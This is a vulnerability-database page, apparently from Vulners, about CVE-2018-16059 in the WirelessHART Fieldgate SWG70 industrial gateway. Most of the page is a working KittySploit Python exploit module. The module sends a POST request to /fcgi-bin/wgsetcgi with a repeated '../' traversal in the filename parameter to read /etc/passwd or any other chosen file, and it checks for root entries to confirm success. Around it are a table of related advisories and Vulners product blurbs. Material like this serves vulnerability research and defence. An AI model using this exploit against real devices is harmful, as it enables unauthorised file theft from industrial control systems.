Fieldgate SWG70 LFI (CVE-2018-16059)
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2018-16059 | 12 Nov 202400:00 | – | circl | |
| CVE-2018-16059 | 7 Sep 201822:00 | – | cve | |
| CVE-2018-16059 | 7 Sep 201822:00 | – | cvelist | |
| WirelessHART Fieldgate SWG70 3.0 - Directory Traversal | 6 Sep 201800:00 | – | exploitdb | |
| PEPPERL+FUCHS WirelessHART-Gateways | 14 Mar 201900:00 | – | ics | |
| WirelessHART Fieldgate SWG70 3.0 - Local File Inclusion Detection | 28 Jul 202611:27 | – | kittysploit | |
| WirelessHART Fieldgate SWG70 3.0 - Local File Inclusion | 14 Oct 202602:05 | – | nuclei | |
| CVE-2018-16059 | 7 Sep 201822:29 | – | nvd | |
| CVE-2018-16059 | 7 Sep 201822:29 | – | osv | |
| Directory traversal | 7 Sep 201822:29 | – | prion |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Endress+Hauser Fieldgate SWG70 LFI (CVE-2018-16059)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'Fieldgate SWG70 LFI (CVE-2018-16059)',
'description': (
'Exploits CVE-2018-16059 in WirelessHART Fieldgate SWG70 3.0: path traversal '
'via fcgi-bin/wgsetcgi filename parameter reads /etc/passwd and other files.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2018-16059'],
'platform': Platform.LINUX,
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-16059'],
'tags': ['fieldgate', 'iot', 'scada', 'lfi', 'vkev'],
'agent': {
'risk': 'high',
'effects': ['data_exfiltration'],
'expected_requests': 2,
'reversible': True,
'approval_required': True,
'produces': ['file_read'],
'chain': {'suggested_followups': ['scanner/http/cve_2018_16059_detect']},
},
}
file_path = OptString('/etc/passwd', 'Remote file to read', required=True)
def execute(self, remote_path: str) -> str:
traversal = '../' * 12 + remote_path.lstrip('/')
data = (
'action=ajax&command=4'
f'&filename={traversal}'
'&origin=cw.Communication.File.Read&transaction=fileCommand'
)
r = self.http_request(
method='POST',
path='/fcgi-bin/wgsetcgi',
data=data,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
return (r.text or '') if r else ''
def check(self):
body = self.execute(str(self.file_path or '/etc/passwd'))
if re.search(r'root:.*:0:0:', body or ''):
return {'vulnerable': True, 'reason': 'Fieldgate traversal confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'wgsetcgi LFI failed', 'confidence': 'medium'}
def run(self):
if not self.check().get('vulnerable'):
print_error('Fieldgate SWG70 not vulnerable')
return False
body = self.execute(str(self.file_path or '/etc/passwd'))
print_success(body[:4000])
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
5.9Medium risk
Vulners AI Score5.9
CVSS 25
CVSS 35.3
EPSS0.29816